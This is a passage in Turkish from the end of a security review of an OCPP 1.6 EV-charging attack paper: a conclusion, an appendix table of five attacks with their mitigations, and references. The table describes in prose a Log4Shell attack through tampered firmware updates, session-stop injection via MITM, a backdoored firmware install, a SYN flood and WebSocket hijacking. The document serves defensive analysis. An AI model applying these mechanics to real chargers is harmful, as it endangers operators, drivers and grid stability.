SWOT analizi, araştırmanın metodolojik olarak sağlam ve pratik olarak değerli olmasına rağmen, kırılgan bir ekosistemi ifşa ettiğini ortaya koymaktadır. Makalenin güçlü yönleri—pratik gösterimleri ve net azaltma önerileri—CPO'lar ve düzenleyiciler tarafından derhal değerlendirilmelidir. Endüstri kendini bir yol ayrımında bulmaktadır: OCPP 2.0.1'e maliyetli ancak gerekli geçişi yapmak veya Elmo ve ekibi tarafından önerilen SSH tünelleme gibi sağlam geçici önlemleri uygulamak zorundadır.

Bu zafiyetlerin ele alınmaması, yalnızca kredi kartı dolandırıcılığı veya hizmet kesintisi riskini değil, aynı zamanda enerji şebekesinin istikrarını da riske atmaktadır. EV benimsemesi ölçeklendikçe, "saldırı yüzeyi" de onunla birlikte ölçeklenmektedir. Bu belge, bu kritik arayüzün derhal sertleştirilmesini haklı çıkarmak için gereken teknik kanıtları sunmaktadır.

8. Teknik Ek: İstismar Mekaniği Özeti

PoC #	İstismar Adı	Hedef	Mekanizma	Sonuç	Azaltma (Mitigation)
1	Bellenim Güncellemesi ile Log4Shell	EVSE	MITM, UpdateFirmware isteğini yakalar. Yükü kötü amaçlı LDAP'a yönlendirecek şekilde değiştirir. JNDI	**Kök RCE.** Saldırgan şarj cihazına tam kabuk (shell) erişimi kazanır.	Log4j'yi yamalamak. Yüklerin MITM ile değiştirilmesini önlemek için TLS/SSH kullanmak.

			enjeksiyonu uzaktan sınıf indirmeyi tetikler.		
2	İşlemi Uzaktan Durdurma	Oturum	MITM (ARP Spoofing), WebSocket akışına RemoteStopTransaction komutu enjekte eder.	**Hizmet Reddi (DoS).** Şarj oturumu derhal sonlandırılır.	Paket enjeksiyonunu önlemek için şifreleme (TLS/SSH). Mesaj imzalama.
3	Kötü Amaçlı Bellenim Enjeksiyonu	EVSE	CSMS güncelleme gönderir. EVSE imzayı doğrulamaz. Kötü amaçlı bellenim sahte kullanıcı ekler.	**Kalıcılık.** Saldırgan arka kapı kullanıcı hesabı ekler.	Kod imzalama (Secure Boot). Kurulumdan önce bellenim imzalarının doğrulanması.
4	SYN Flood	CSMS	CSMS sunucusuna yüksek hacimli TCP SYN paketleri gönderilir.	**Hizmet Reddi (DoS).** Sunucu kaynakları tükenir; meşru şarj cihazları bağlantıyı kaybeder.	Güvenlik duvarları, Hız Sınırlama (Rate Limiting), TCP backlog ayarı.
5	Çoklu Bağlantı	CSMS	Saldırgan aynı Şarj	**Körleme.** CSMS	Güçlü Kimlik

	(SaiFlow)		Noktası Kimliği ile yeni WebSocket açar. CSMS mantık karışıklığı yaşar.	meşru şarj cihazının kontrolünü kaybeder.	Doğrulama (mTLS/parol alar). Kimlik başına katı bağlantı sınırları.

Bu analiz, tanımlanan zafiyetlerin OCPP 1.6j'nin mevcut dağıtımı için sistemik olduğu ve ulusal güvenlik ile kritik altyapı dayanıklılığı için yüksek öncelikli bir risk oluşturduğu sonucuna varmaktadır. Açıklanan azaltmaların benimsenmesi isteğe bağlı değil, modern güç şebekesinin güvenli çalışması için esastır.

Alıntılanan çalışmalar

1. Disrupting_EV_Charging_Sessions_and_Gaining_Remote_Code_Execution_with_DoS_MITM_and_Code_Injection_Exploits_using_OCPP_1.6.pdf
2. Disrupting EV Charging Sessions and Gaining Remote Code Execution with DoS, MITM, and Code Injection Exploits using OCPP 1.6 – Publications – Research - Sandia National Laboratories, erişim tarihi Kasım 22, 2025, https://www.sandia.gov/research/publications/details/disrupting-ev-charging-sessions-and-gaining-remote-code-execution-with-dos-2023-01-01/
3. OCPP 1.6 vs. OCPP 2.0: A Comprehensive Comparison - Ampcontrol, erişim tarihi Kasım 22, 2025, https://www.ampcontrol.io/post/ocpp-1-6-vs-ocpp-2-0-a-comprehensive-comparison
4. OCPP 1.6 vs OCPP 2.0: A Detailed Comparison for EV Chargers - Luxman Energy, erişim tarihi Kasım 22, 2025, https://www.luxmanenergy.com/ocpp-1-6-vs-ocpp-2-0-a-detailed-comparison-for-ev-chargers/
5. Grid Impacts of Electric Vehicle Charging: A Review of Challenges and Mitigation Strategies, erişim tarihi Kasım 22, 2025, https://www.mdpi.com/1996-1073/18/14/3807
6. MaDEVIoT: Cyberattacks on EV Charging Can Disrupt Power Grid Operation, erişim tarihi Kasım 22, 2025, https://www.pnnl.gov/publications/madeviot-cyberattacks-ev-charging-can-disrupt-power-grid-operation
7. Uncovering Log4j Vulnerabilities in Connected Cars - VicOne, erişim tarihi Kasım 22, 2025, https://vicone.com/blog/uncovering-the-log4j-vulnerabilities-in-connected-cars
8. Examining Log4j Vulnerabilities in Connected Cars and Charging Stations - Trend Micro, erişim tarihi Kasım 22, 2025,

https://www.trendmicro.com/en_us/research/21/l/examining-log4j-vulnerabilities-in-connected-cars.html
9. Disrupting EV Charging Sessions and Gaining Remote Code Execution with DoS, MITM, and Code Injection Exploits using OCPP 1.6 - IEEE Xplore, erişim tarihi Kasım 22, 2025, https://ieeexplore.ieee.org/iel7/10284520/10284588/10284654.pdf
10. Disrupting EV Charging Sessions and Gaining Remote Code Execution with DoS, MITM, and Code Injection Exploits using OCPP 1.6 - Idaho National Laboratory, erişim tarihi Kasım 22, 2025, https://inldigitallibrary.inl.gov/sites/sti/sti/Sort_65949.pdf
11. Impact of Electric Vehicles Botnets on the Power Grid - ResearchGate, erişim tarihi Kasım 22, 2025, https://www.researchgate.net/publication/350105142_Impact_of_Electric_Vehicles_Botnets_on_the_Power_Grid
12. Cyber security for Electric Vehicle Smart Charging Energy Network - NTU > IRep, erişim tarihi Kasım 22, 2025, https://irep.ntu.ac.uk/id/eprint/54105/1/Safa%20Hamdare%202025.pdf
13. How Mishandling of WebSockets Can Cause DoS and Energy Theft - SaiFlow, erişim tarihi Kasım 22, 2025, https://www.saiflow.com/blog/how-mishandling-of-websockets-can-cause-dos-and-energy-theft
14. (PDF) Disrupting EV Charging Sessions and Gaining Remote Code Execution with DoS, MITM, and Code Injection Exploits using OCPP 1.6 - ResearchGate, erişim tarihi Kasım 22, 2025, https://www.researchgate.net/publication/375953534_Disrupting_EV_Charging_Sessions_and_Gaining_Remote_Code_Execution_with_DoS_MITM_and_Code_Injection_Exploits_using_OCPP_16
15. Understanding the differences between OCPP 1.6 & OCPP 2.0.1 - Current Eco AS, erişim tarihi Kasım 22, 2025, https://www.current.eco/resources/articles/understanding-the-differences-between-ocpp-1.6-ocpp-2.0.1
16. OCPP (Open Charge Point Protocol), erişim tarihi Kasım 22, 2025, https://openchargealliance.org/protocols/open-charge-point-protocol/
17. OCPP 1.6 vs 2.0.1 - Key Differences & Updates - ChargePanel, erişim tarihi Kasım 22, 2025, https://www.chargepanel.com/ocpp-1-6-vs-ocpp-2-0-1-key-differencesupdates-and-functionality/
18. The Digital Side of Charging: the Future of OCPP and ISO 15118 - ABB E-mobility, erişim tarihi Kasım 22, 2025, https://e-mobility.abb.com/sites/default/files/2024-12/241218_ABB_White-Paper.pdf
19. Understanding Importance and Comparison of OCPP 2.0.1 for EV Charging - Pulse Energy, erişim tarihi Kasım 22, 2025, https://pulseenergy.io/blog/ocpp-2-0-ev-charger
20. Remote access via SSH tunneling | Bender Controller Software Docs, erişim tarihi

Kasım 22, 2025, https://www.bender.de/docs/charge-controller/5.32/Setup/SSH/remote-access
21. Building an OCPP-compliant electric vehicle charge point operator solution using AWS IoT Core, erişim tarihi Kasım 22, 2025, https://aws.amazon.com/blogs/iot/building-an-ocpp-compliant-electric-vehicle-charge-point-operator-solution-using-aws-iot-core/
22. Motivation and Design of the OCPP Security Service - Pacific Northwest National Laboratory, erişim tarihi Kasım 22, 2025, https://www.pnnl.gov/main/publications/external/technical_reports/PNNL-35706.pdf